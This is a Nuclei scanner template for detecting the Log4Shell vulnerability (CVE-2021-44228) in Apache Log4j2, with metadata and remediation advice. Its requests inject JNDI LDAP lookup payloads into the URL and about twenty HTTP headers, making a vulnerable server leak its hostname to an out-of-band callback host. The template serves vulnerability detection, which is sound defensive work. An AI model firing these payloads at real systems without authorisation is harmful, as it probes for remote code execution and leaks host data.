nuclei-templates/cves/2021/CVE-2021-44228.yaml

81 lines
3.7 KiB
YAML

id: CVE-2021-44228
info:
name: Apache Log4j2 Remote Code Injection
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
severity: critical
description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
reference:
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-502
tags: cve,cve2021,rce,oast,log4j,injection,cisa
requests:
- raw:
- |
GET /?x=${jndi:ldap://${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: ${jndi:ldap://${hostName}.accept.{{interactsh-url}}}
Accept-Encoding: ${jndi:ldap://${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language: ${jndi:ldap://${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers: ${jndi:ldap://${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method: ${jndi:ldap://${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication: Basic ${jndi:ldap://${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication: Bearer ${jndi:ldap://${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie: ${jndi:ldap://${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
Location: ${jndi:ldap://${hostName}.location.{{interactsh-url}}}
Origin: ${jndi:ldap://${hostName}.origin.{{interactsh-url}}}
Referer: ${jndi:ldap://${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests: ${jndi:ldap://${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent: ${jndi:ldap://${hostName}.useragent.{{interactsh-url}}}
X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token: ${jndi:ldap://${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment: ${jndi:ldap://${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For: ${jndi:ldap://${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin: ${jndi:ldap://${hostName}.xorigin.{{interactsh-url}}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
extractors:
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
- type: regex
part: interactsh_request
group: 2
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# Enhanced by mp on 2022/02/28